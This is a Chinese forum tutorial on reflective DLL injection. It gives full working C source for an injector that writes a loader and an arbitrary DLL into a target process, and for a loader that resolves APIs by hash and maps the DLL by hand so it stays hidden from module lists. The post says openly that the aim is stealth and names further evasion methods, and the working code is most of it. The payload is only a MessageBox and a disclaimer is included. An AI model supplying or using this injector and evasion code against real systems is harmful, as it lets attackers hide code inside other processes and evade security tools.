好友
阅读权限10
听众
最后登录1970-1-1
|
【新手向】反射式 DLL 注入(Reflected injection)
反射注入(Reflective DLL Injection)由Stephen Fewer在2009年首次提出,反射式DLL注入是一种库注入技术,利用反射式编程的概念将库从内存加载到宿主进程中。因此,库负责通过实现最小的可移植可执行文件(PE)文件加载程序来加载自身
核心思想:让DLL自己把自己“加载”起来
什么是反射注入
普通 DLL 注入
传统方法:
1. OpenProcess → 打开目标进程
2. VirtualAllocEx → 在目标进程分配内存
3. WriteProcessMemory → 写入 DLL 路径字符串
4. CreateRemoteThread → 让目标进程调用 LoadLibraryW 加载 DLL致命弱点:Windows 会把你的 DLL 登记到三个模块链表:
PEB->Ldr->InLoadOrderModuleList
PEB->Ldr->InMemoryOrderModuleList
PEB->Ldr->InInitializationOrderModuleList
Process Explorer 一查就能看到。
反射注入的核心思想
手工实现LoadLibrary
传统: injector → LoadLibraryW → Windows 加载器(登记模块) → DLL 可见反射: injector → ReflectiveLoader → 手工加载 PE(不登记模块) → DLL 不可见- DLL 不出现在模块链表 → 隐蔽
- 不调 LoadLibrary → 绕过安全软件 Hook
- DLL 可不落地 → 从内存直接注入
- 兼容任意 DLL → 不需要特殊编译
架构设计远程内存布局
injector.exe notepad.exe mydll.dll
│ │ │
│ 目标进程 任意 DLL
│
└─ 自动加载 reflectiveloader.dll
┌─────────────────┐
│ LOADER_PARAMS │ ← { 目标DLL地址, 目标DLL大小 }
├─────────────────┤
│ mydll.dll │ ← 你要注入的 DLL 原始字节
├─────────────────┤
│ loader.dll │ ← 反射加载器(ReflectiveLoader 入口在此)
└─────────────────┘
↑
CreateRemoteThread 启动 ReflectiveLoader,传入 LOADER_PARAMS 指针执行流程- injector.exe 读取 reflectiveloader.dll 和 mydll.dll
- OpenProcess + VirtualAllocEx 在目标进程分配一块大内存
- WriteProcessMemory 写入 [LOADER_PARAMS][mydll.dll][loader.dll]
- 解析 loader.dll 找到 ReflectiveLoader 导出函数的文件偏移
- CreateRemoteThread(remoteBase + paramsSize + targetSize + fileOffset)
- ReflectiveLoader 收到 LOADER_PARAMS,得知 mydll.dll 在哪
- 手工 PE 加载:解析 PE → VirtualAlloc → 复制节区 → 重定位 → 导入表 → DllMai
file://C:%5CUsers%5Cyouxing%5CAppData%5CRoaming%5Cmarktext%5Cimages%5C2026-06-14-11-39-00-c9a00d9a82050785d48aa084b2d0db62.png?msec=1781412650652 核心代码injector.c —注入器
[C] 纯文本查看 复制代码
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <psapi.h>
typedef struct { PVOID dllBase; DWORD dllSize; } LOADER_PARAMS;
static DWORD RvaToFile(BYTE* d, DWORD r)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)d;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(d + dos->e_lfanew);
PIMAGE_SECTION_HEADER s = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, s++)
{
if (r >= s->VirtualAddress && r < s->VirtualAddress + s->Misc.VirtualSize)
return s->PointerToRawData + (r - s->VirtualAddress);
}
if (r < nt->OptionalHeader.SizeOfHeaders) return r;
return 0;
}
static BYTE* LoadFile(const char* path, DWORD* outSize)
{
HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
if (h == INVALID_HANDLE_VALUE) { printf("Cannot open: %s\n", path); return NULL; }
*outSize = GetFileSize(h, NULL);
BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *outSize);
if (!buf) { CloseHandle(h); return NULL; }
DWORD rd;
if (!ReadFile(h, buf, *outSize, &rd, NULL) || rd != *outSize)
{
printf("Cannot read: %s\n", path);
HeapFree(GetProcessHeap(), 0, buf); CloseHandle(h); return NULL;
}
CloseHandle(h); return buf;
}
static DWORD FindExportFileOff(BYTE* dll, const char* name)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dll + dos->e_lfanew);
DWORD expRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!expRVA) return 0;
DWORD eo = RvaToFile(dll, expRVA);
if (!eo) return 0;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(dll + eo);
DWORD no = RvaToFile(dll, exp->AddressOfNames);
DWORD oo = RvaToFile(dll, exp->AddressOfNameOrdinals);
DWORD fo = RvaToFile(dll, exp->AddressOfFunctions);
if (!no || !oo || !fo) return 0;
DWORD* names = (DWORD*)(dll + no);
WORD* ords = (WORD*)(dll + oo);
DWORD* funcs = (DWORD*)(dll + fo);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
DWORD nf = RvaToFile(dll, names[i]);
if (!nf) continue;
if (strcmp((char*)(dll + nf), name) == 0)
return RvaToFile(dll, funcs[ords[i]]);
}
return 0;
}
static DWORD FindPID(const char* name)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (h == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(h, &pe))
{
do
{ if (_stricmp(pe.szExeFile, name) == 0)
{ CloseHandle(h); return pe.th32ProcessID; }
} while (Process32Next(h, &pe));
}
CloseHandle(h); return 0;
}
int main(int argc, char** argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
if (argc < 3)
{
printf("Usage: injector.exe <process> <dll>\n");
printf("Example: injector.exe notepad.exe mydll.dll\n");
printf("\nTarget DLL can be ANY DLL - no special exports needed.\n");
printf("The loader (reflectiveloader.dll) must be in the same folder.\n");
return 1;
}
const char* proc = argv[1];
const char* dllPath = argv[2];
const char* ldrPath = "reflectiveloader.dll";
printf("Target: %s\n DLL: %s\n Loader: %s\n\n", proc, dllPath, ldrPath);
DWORD pid = FindPID(proc);
if (!pid) { printf("Process not found: %s\n", proc); return 1; }
printf("PID: %lu\n", pid);
HANDLE hp = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!hp) { printf("OpenProcess failed (%lu)\n", GetLastError()); return 1; }
printf("Process opened\n");
DWORD tSize, lSize;
BYTE* target = LoadFile(dllPath, &tSize);
BYTE* loader = LoadFile(ldrPath, &lSize);
if (!target || !loader)
{
if (target) HeapFree(GetProcessHeap(), 0, target);
if (loader) HeapFree(GetProcessHeap(), 0, loader);
CloseHandle(hp); return 1;
}
printf(" Target DLL: %lu bytes\n Loader DLL: %lu bytes\n", tSize, lSize);
DWORD ldrOff = FindExportFileOff(loader, "ReflectiveLoader");
if (!ldrOff)
{
printf(" ReflectiveLoader not found in %s\n", ldrPath);
HeapFree(GetProcessHeap(), 0, target);
HeapFree(GetProcessHeap(), 0, loader);
CloseHandle(hp); return 1;
}
printf(" Loader entry file offset: 0x%08lX\n", ldrOff);
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(loader + ((PIMAGE_DOS_HEADER)loader)->e_lfanew);
DWORD ldrImg = nt->OptionalHeader.SizeOfImage;
if (ldrImg > lSize)
{
BYTE* nb = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, loader, ldrImg);
if (!nb)
{ printf(" HeapReAlloc failed\n"); goto cleanup; }
loader = nb;
}
printf(" Loader ImageSize: %lu bytes\n", ldrImg);
DWORD total = sizeof(LOADER_PARAMS) + tSize + ldrImg;
LPVOID remoteBase = VirtualAllocEx(hp, NULL, total,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteBase)
{
printf(" VirtualAllocEx failed (%lu)\n", GetLastError());
goto cleanup;
}
printf(" Remote memory @ 0x%p (%lu bytes)\n", remoteBase, total);
LOADER_PARAMS params;
params.dllBase = (BYTE*)remoteBase + sizeof(LOADER_PARAMS);
params.dllSize = tSize;
BYTE* flat = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, total);
if (!flat) { printf(" HeapAlloc failed\n"); VirtualFreeEx(hp, remoteBase, 0, MEM_RELEASE); goto cleanup; }
memcpy(flat, ¶ms, sizeof(params));
memcpy(flat + sizeof(params), target, tSize);
memcpy(flat + sizeof(params) + tSize, loader, ldrImg);
SIZE_T written;
if (!WriteProcessMemory(hp, remoteBase, flat, total, &written))
{
printf(" WriteProcessMemory failed (%lu)\n", GetLastError());
VirtualFreeEx(hp, remoteBase, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, flat); goto cleanup;
}
printf(" Payload written\n");
HeapFree(GetProcessHeap(), 0, flat);
LPTHREAD_START_ROUTINE entry =
(LPTHREAD_START_ROUTINE)((BYTE*)remoteBase + sizeof(params) + tSize + ldrOff);
printf(" Remote entry: 0x%p, params @ 0x%p\n", entry, remoteBase);
HANDLE ht = CreateRemoteThread(hp, NULL, 0, entry, remoteBase, 0, NULL);
if (!ht)
{
printf(" CreateRemoteThread failed (%lu)\n", GetLastError());
VirtualFreeEx(hp, remoteBase, 0, MEM_RELEASE); goto cleanup;
}
printf(" Remote thread created\n Waiting...\n");
DWORD waitResult = WaitForSingleObject(ht, 10000);
DWORD exitCode = 0;
GetExitCodeThread(ht, &exitCode);
if (waitResult == WAIT_OBJECT_0)
{
if (exitCode && (exitCode < 0xB0 || exitCode > 0xB5))
{
printf(" SUCCESS! DLL loaded @ 0x%p\n", (LPVOID)(ULONG_PTR)exitCode);
printf(" Check %s module list - the DLL is invisible!\n", proc);
}
else if (exitCode == 0)
{
printf(" Loader returned 0 (failed)\n");
}
else
{
printf(" Error 0x%04lX: ", exitCode);
switch (exitCode)
{
case 0xB0: printf("invalid PE\n"); break;
case 0xB1: printf("kernel32 not found\n"); break;
case 0xB2: printf("critical API missing\n"); break;
case 0xB3: printf("VirtualAlloc failed\n"); break;
case 0xB4: printf("import DLL load failed\n"); break;
case 0xB5: printf("import function missing\n"); break;
default: printf("unknown\n"); break;
}
}
} else if (waitResult == WAIT_TIMEOUT)
{
printf(" Loader still running (worker thread alive)\n");
}
else
{
printf(" Wait error: %lu\n", GetLastError());
}
CloseHandle(ht);
cleanup:
HeapFree(GetProcessHeap(), 0, target);
HeapFree(GetProcessHeap(), 0, loader);
CloseHandle(hp);
printf("\n Done.\n");
return 0;
}
ReflectiveLoader.c — 反射加载器
与 payload.c 编译进同一个 DLL。运行在目标进程内,通过扫描自身代码地址来定位 PE 镜像,然后手工完成 PE 加载的全部步骤。完整代码:
[C] 纯文本查看 复制代码
#include <windows.h>
//1. 定位自身在内存中的 PE 镜像
//2. 通过 PEB 找到 kernel32.dll 基址
//3. 解析 kernel32 导出表找到需要的函数
//4. 分配新内存并复制 PE 镜像
//5. 处理重定位
//6. 修复导入表
//7. 调用 DllMain
#ifdef _WIN64
#define CURRENT_ARCH IMAGE_FILE_MACHINE_AMD64
#define PEB_OFFSET 0x60
#define RELOC_TYPE IMAGE_REL_BASED_DIR64
#define GetPeb() (__readgsqword(PEB_OFFSET))
#else
#define CURRENT_ARCH IMAGE_FILE_MACHINE_I386
#define PEB_OFFSET 0x30
#define RELOC_TYPE IMAGE_REL_BASED_HIGHLOW
#define GetPeb() (__readfsdword(PEB_OFFSET))
#endif
//避免字符串出现在二进制中
#define ROTR32(v, n) (((v) >> (n)) | ((v) << (32 - (n))))
static inline DWORD HashStringW(PWSTR str, DWORD seed)
{
DWORD hash = seed;
WCHAR c;
if (str == NULL) return 0;
do
{
c = *str++;
if (c >= L'a' && c <= L'z') c -= 0x20;
hash = ROTR32(hash, 13);
hash += c;
} while (c != 0);
return hash;
}
static inline DWORD HashStringA(PCHAR str, DWORD seed)
{
DWORD hash = seed;
CHAR c;
if (str == NULL) return 0;
do
{
c = *str++;
hash = ROTR32(hash, 13);
hash += (DWORD)(unsigned char)c;
} while (c != 0);
return hash;
}
#define HASH_LoadLibraryA 0x74776072
#define HASH_GetProcAddress 0xE553E06F
#define HASH_VirtualAlloc 0x52A48D7E
#define HASH_VirtualFree 0x9D601831
#define HASH_VirtualProtect 0x30DBCA36
#define HASH_KERNEL32_DLL 0x50BB715E
#define HASH_NTDLL_DLL 0xDF956BA6
//手动类型定义
typedef struct _MY_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} MY_UNICODE_STRING, *PMY_UNICODE_STRING;
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
MY_UNICODE_STRING FullDllName;
MY_UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
typedef struct _MY_PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN SpareBool;
HANDLE Mutant;
PVOID ImageBaseAddress;
PMY_PEB_LDR_DATA Ldr;
} MY_PEB, *PMY_PEB;
//GetProcAddressByHash
//通过哈希值在指定模块中找到函数地址
//不依赖任何外部 API——直接解析 PE 导出表
static FARPROC GetProcAddressByHash(HMODULE hModule, DWORD funcHash)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)hModule + dos->e_lfanew);
IMAGE_DATA_DIRECTORY expDir =
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (expDir.Size == 0) return NULL;
PIMAGE_EXPORT_DIRECTORY exp =
(PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)hModule + expDir.VirtualAddress);
PDWORD names = (PDWORD)((ULONG_PTR)hModule + exp->AddressOfNames);
PWORD ords = (PWORD)((ULONG_PTR)hModule + exp->AddressOfNameOrdinals);
PDWORD funcs = (PDWORD)((ULONG_PTR)hModule + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++)
{
PCHAR name = (PCHAR)((ULONG_PTR)hModule + names[i]);
if (HashStringA(name, 0) == funcHash)
{
return (FARPROC)((ULONG_PTR)hModule + funcs[ords[i]]);
}
}
return NULL;
}
//FindModuleBaseByHash
//通过 PEB 的 InMemoryOrderModuleList 遍历已加载模块
//用模块名哈希匹配,返回模块基址
static HMODULE FindModuleByHash(DWORD moduleNameHash)
{
//获取 PEB
#ifdef _WIN64
PMY_PEB peb = (PMY_PEB)__readgsqword(PEB_OFFSET);
#else
PMY_PEB peb = (PMY_PEB)__readfsdword(PEB_OFFSET);
#endif
if (peb == NULL || peb->Ldr == NULL) return NULL;
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY cur = head->Flink;
while (cur != head)
{
PMY_LDR_DATA_TABLE_ENTRY entry =
CONTAINING_RECORD(cur, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (entry->BaseDllName.Length > 0 && entry->BaseDllName.Buffer != NULL)
{
if (HashStringW(entry->BaseDllName.Buffer, 0) == moduleNameHash)
{
return (HMODULE)entry->DllBase;
}
}
cur = cur->Flink;
}
return NULL;
}
__declspec(dllexport)
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpReserved)
{
//1.定位当前 DLL 镜像在内存中的位置
//从返回地址开始,向后扫描 PE 头
//因为 ReflectiveLoader 函数位于 DLL 镜像内部
ULONG_PTR callerAddr = (ULONG_PTR)&ReflectiveLoader;
//向前搜索 DOS 头
//根据 PE 文件结构,DOS 头在镜像的最前面
ULONG_PTR base = callerAddr & (~0xFFF);//页对齐
//查找 MZ
while (base > 0)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
if (dos->e_magic == IMAGE_DOS_SIGNATURE)
{
//验证是否有有效的 NT 头
if (dos->e_lfanew > 0 && dos->e_lfanew < 0x1000)
{
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
if (nt->Signature == IMAGE_NT_SIGNATURE)
{
//进一步验证:检查机器架构是否匹配
if (nt->FileHeader.Machine == CURRENT_ARCH)
{
//确认有 SizeOfImage,且 > 0
if (nt->OptionalHeader.SizeOfImage > 0)
{
break; //找到了
}
}
}
}
}
base--;
}
if (base == 0) return 0xB0; //找不到 PE 基址
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(base + dosHeader->e_lfanew);
DWORD sizeOfImage = ntHeaders->OptionalHeader.SizeOfImage;
//2.获取 kernel32 的基址和关键 API
HMODULE kernel32 = FindModuleByHash(HASH_KERNEL32_DLL);
if (kernel32 == NULL) return 0xB1; //找不到 kernel32.dll
//定义函数指针类型
typedef LPVOID (WINAPI *PFN_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *PFN_VirtualFree)(LPVOID, SIZE_T, DWORD);
typedef BOOL (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HMODULE (WINAPI *PFN_LoadLibraryA)(LPCSTR);
typedef FARPROC (WINAPI *PFN_GetProcAddress)(HMODULE, LPCSTR);
PFN_VirtualAlloc pVirtualAlloc = (PFN_VirtualAlloc) GetProcAddressByHash(kernel32, HASH_VirtualAlloc);
PFN_VirtualFree pVirtualFree = (PFN_VirtualFree) GetProcAddressByHash(kernel32, HASH_VirtualFree);
PFN_VirtualProtect pVirtualProtect = (PFN_VirtualProtect) GetProcAddressByHash(kernel32, HASH_VirtualProtect);
PFN_LoadLibraryA pLoadLibraryA = (PFN_LoadLibraryA) GetProcAddressByHash(kernel32, HASH_LoadLibraryA);
PFN_GetProcAddress pGetProcAddress = (PFN_GetProcAddress) GetProcAddressByHash(kernel32, HASH_GetProcAddress);
if (!pVirtualAlloc || !pLoadLibraryA || !pGetProcAddress) return 0xB2;//找不到关键 API
//3.分配新内存并复制 PE 镜像
LPVOID newImage = pVirtualAlloc(NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (newImage == NULL) return 0xB3; //VirtualAlloc失败
//复制 PE 头
DWORD headersSize = ntHeaders->OptionalHeader.SizeOfHeaders;
for (DWORD i = 0; i < headersSize; i++)
{
((BYTE*)newImage)[i] = ((BYTE*)base)[i];
}
//复制各节区
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sec++)
{
if (sec->SizeOfRawData > 0)
{
BYTE* dst = (BYTE*)newImage + sec->VirtualAddress;
BYTE* src = (BYTE*)base + sec->PointerToRawData;
for (DWORD j = 0; j < sec->SizeOfRawData; j++)
dst[j] = src[j];
}
else
{
//BSS节(SizeOfRawData == 0)清零
BYTE* dst = (BYTE*)newImage + sec->VirtualAddress;
for (DWORD j = 0; j < sec->Misc.VirtualSize; j++)
dst[j] = 0;
}
}
//4.处理基址重定位
ULONG_PTR delta = (ULONG_PTR)newImage - ntHeaders->OptionalHeader.ImageBase;
if (delta != 0)
{
IMAGE_DATA_DIRECTORY relocDir =
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir.Size > 0)
{
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)((ULONG_PTR)newImage + relocDir.VirtualAddress);
ULONG_PTR relocEnd = (ULONG_PTR)reloc + relocDir.Size;
while ((ULONG_PTR)reloc < relocEnd && reloc->VirtualAddress != 0)
{
DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* entries = (WORD*)((BYTE*)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++)
{
WORD entry = entries[i];
WORD type = entry >> 12;
WORD offset = entry & 0xFFF;
if (type == RELOC_TYPE)
{
ULONG_PTR* patchAddr =
(ULONG_PTR*)((ULONG_PTR)newImage + reloc->VirtualAddress + offset);
*patchAddr += delta;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
}
//5.修复导入表
IMAGE_DATA_DIRECTORY importDir =
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importDir.Size > 0)
{
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)newImage + importDir.VirtualAddress);
for (; imp->Name != 0; imp++)
{
PCHAR dllName = (PCHAR)((ULONG_PTR)newImage + imp->Name);
HMODULE hDll = pLoadLibraryA(dllName);
if (hDll == NULL) return 0xB4; //LoadLibrary 导入 DLL 失败
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)((ULONG_PTR)newImage + imp->FirstThunk);
PIMAGE_THUNK_DATA origThunk;
if (imp->OriginalFirstThunk != 0)
{
origThunk = (PIMAGE_THUNK_DATA)((ULONG_PTR)newImage + imp->OriginalFirstThunk);
}
else
{
origThunk = thunk;
}
for (; origThunk->u1.AddressOfData != 0; origThunk++, thunk++)
{
FARPROC funcAddr;
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal))
{
funcAddr = pGetProcAddress(hDll,
(LPCSTR)(ULONG_PTR)(origThunk->u1.Ordinal & 0xFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME importByName =
(PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)newImage + origThunk->u1.AddressOfData);
funcAddr = pGetProcAddress(hDll, importByName->Name);
}
//GetProcAddress 找不到导入函数
if (funcAddr == NULL) return 0xB5;
thunk->u1.Function = (ULONG_PTR)funcAddr;
}
}
}
//6.设置内存保护
sec = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sec++)
{
LPVOID secAddr = (LPVOID)((ULONG_PTR)newImage + sec->VirtualAddress);
DWORD secSize = sec->Misc.VirtualSize;
DWORD oldProt;
DWORD characteristics = sec->Characteristics;
DWORD newProt = PAGE_READONLY;
if (characteristics & IMAGE_SCN_MEM_EXECUTE)
{
newProt = (characteristics & IMAGE_SCN_MEM_WRITE)
? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
} else if (characteristics & IMAGE_SCN_MEM_WRITE)
{
newProt = PAGE_READWRITE;
}
if (secSize > 0)
{
pVirtualProtect(secAddr, secSize, newProt, &oldProt);
}
}
//7.刷新指令缓存并调用 DllMain
//调用 DllMain(DLL_PROCESS_ATTACH)
typedef BOOL (WINAPI *fnDllMain)(HINSTANCE, DWORD, LPVOID);
fnDllMain DllMainEntry = (fnDllMain)((ULONG_PTR)newImage + ntHeaders->OptionalHeader.AddressOfEntryPoint);
DllMainEntry((HINSTANCE)newImage, DLL_PROCESS_ATTACH, lpReserved);
return (ULONG_PTR)newImage;
}
payload.c — 你要注入的 DLL
最普通的 DLL,什么都不需要导出:
[C] 纯文本查看 复制代码
#include <windows.h>
DWORD WINAPI WorkerThread(LPVOID lpParam)
{
MessageBoxA(NULL, "Reflection injection succeeded!",
"Reflective DLL Injection", MB_OK | MB_ICONINFORMATION);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
}
return TRUE;
}
关键技术细节
RVA vs 文件偏移
PE 文件在磁盘上和在内存里的布局不同!
.payload 节区示例: 文件偏移 0x0400 — 数据在磁盘上的位置 RVA 0x1000 — 同一个数据加载到内存后的位置
写入目标进程的是原始文件字节,所以:- 读原始文件 buffer → 必须用文件偏移
- 读取 newImage(已映射的) → 用 RVA
我们的 RvaToFile() 通过节表做转换:
文件偏移 = 节.PointerToRawData + (RVA - 节.VirtualAddress)
API 哈希
为什么不直接写 "VirtualAlloc"?因为字符串会留在 .rdata 节,静态分析一眼就能看到。改用哈希:
[C] 纯文本查看 复制代码
#define HASH_VirtualAlloc 0x52A48D7E
#define HASH_LoadLibraryA 0x74776072
#define HASH_GetProcAddress 0xE553E06F
#define HASH_KERNEL32_DLL 0x50BB715E
哈希算法:ROTR13 + djb2变体。注意:函数名用 HashA(ASCII),模块名用 HashW(Unicode)
PEB 遍历[C] 纯文本查看 复制代码
// x64: PEB 存在 GS 段寄存器偏移 0x60 处
PPEB peb = (PPEB)__readgsqword(0x60);
// x86: PEB 存在 FS 段寄存器偏移 0x30 处
PPEB peb = (PPEB)__readfsdword(0x30);
拿到 PEB 后,遍历 PEB->Ldr->InMemoryOrderModuleList 双向链表。链表中每个节点是 LDR_DATA_TABLE_ENTRY,它的 BaseDllName 存储模块名(Unicode 字符串)。用 HashW() 算哈希匹配到 0x50BB715E(KERNEL32.DLL 的哈希)就返回该模块基址。
ReflectiveLoader 启动时,只有 ntdll.dll 和 kernel32.dll 是保证已加载的。所以必须先通过 PEB 找到 kernel32,再从它的导出表拿到 LoadLibraryA / GetProcAddress,才能加载其他 DLL。
重定位处理
PE 编译时假设自己被加载到 ImageBase。但 VirtualAlloc 返回的地址几乎不可能等于 ImageBase,所有硬编码的绝对地址都需要加上偏移量
delta = actual - ImageBase:[C] 纯文本查看 复制代码
ULONG_PTR delta = (ULONG_PTR)newImage - ImageBase;
if (delta != 0) {
PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + .relocRVA);
while (block->VirtualAddress) {
WORD* entries = (WORD*)(block + 1);
for each entry:
if (entry >> 12 == RELOC_TYPE) // x64=10(DIR64), x86=3(HIGHLOW)
*(ULONG_PTR*)(base + blockRVA + (entry & 0xFFF)) += delta;
block = (PIMAGE_BASE_RELOCATION)((BYTE*)block + block->SizeOfBlock);
}
}
导入表修复
DLL 依赖的外部函数(如 MessageBoxA 在 user32.dll 里)需要逐个填入 IAT:[C] 纯文本查看 复制代码
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(base + importRVA);
for (; imp->Name; imp++) {
HMODULE hMod = pLoadLibraryA((char*)(base + imp->Name)); // 加载依赖 DLL
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk);
for each function:
if (IMAGE_SNAP_BY_ORDINAL(ordinal)) func = pGetProcAddress(hMod, ordinal);
else func = pGetProcAddress(hMod, funcName);
thunk->Function = (ULONG_PTR)func; //填入 IAT
}
验证隐蔽性
用 Process Explorer 查看 notepad.exe 的模块列表——找不到 mydll.dll。
ReflectiveLoader 启动时还没有 CRT,memcpy 在 msvcrt.dll 里,此时还没加载。编译器会把 for 循环优化为 rep movsb。
反射注入本身的目的是隐蔽(不登记模块链表),而非免杀。现代杀软通过行为链(VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)就能识别注入行为。真正的对抗需要配合 syscall、加密、反沙箱等技术。
反射注入的核心就一句话:手工模拟 Windows PE 加载器的六个步骤。1.获取 kernel32 → PEB 遍历(不依赖任何外部 API)
2.解析导出表 → 哈希匹配(不暴露字符串)
3.分配内存+复制 → 模拟 PE 映射
4.重定位 → 修正地址偏移
5.修复导入表 → 填充 IAT
6.调用 DllMain → 你的代码开始运行参考
Stephen Fewer's ReflectiveDLLInjection (GitHub)
https://github.com/stephenfewer/ReflectiveDLLInjection
MSDN PE Format Specification
https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
PEB Structure 参考
https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/peb/index.htm
希望这篇文章对你有所帮助,祝你在逆向对抗/安全研究的道路上越走越远!如果文章中有任何理解不当或技术错误的地方,欢迎大神们指出,我会虚心学习。
免责声明:本文仅供技术研究和学习交流,请勿用于任何非法用途。读者因使用本文代码而产生的任何后果由本人自行承担,技术无罪,人心有罪。
完整代码以及示例(本内容仅供个人学习、技术研究、安全测试使用,严禁用于任何商业用途、非法活动或侵犯他人合法权益的场景。任何未经授权的扩散、修改、逆向工程或用于攻击行为,均由使用者自行承担全部法律责任)
reflective-injection.zip
(30.14 KB, 下载次数: 9)
|
|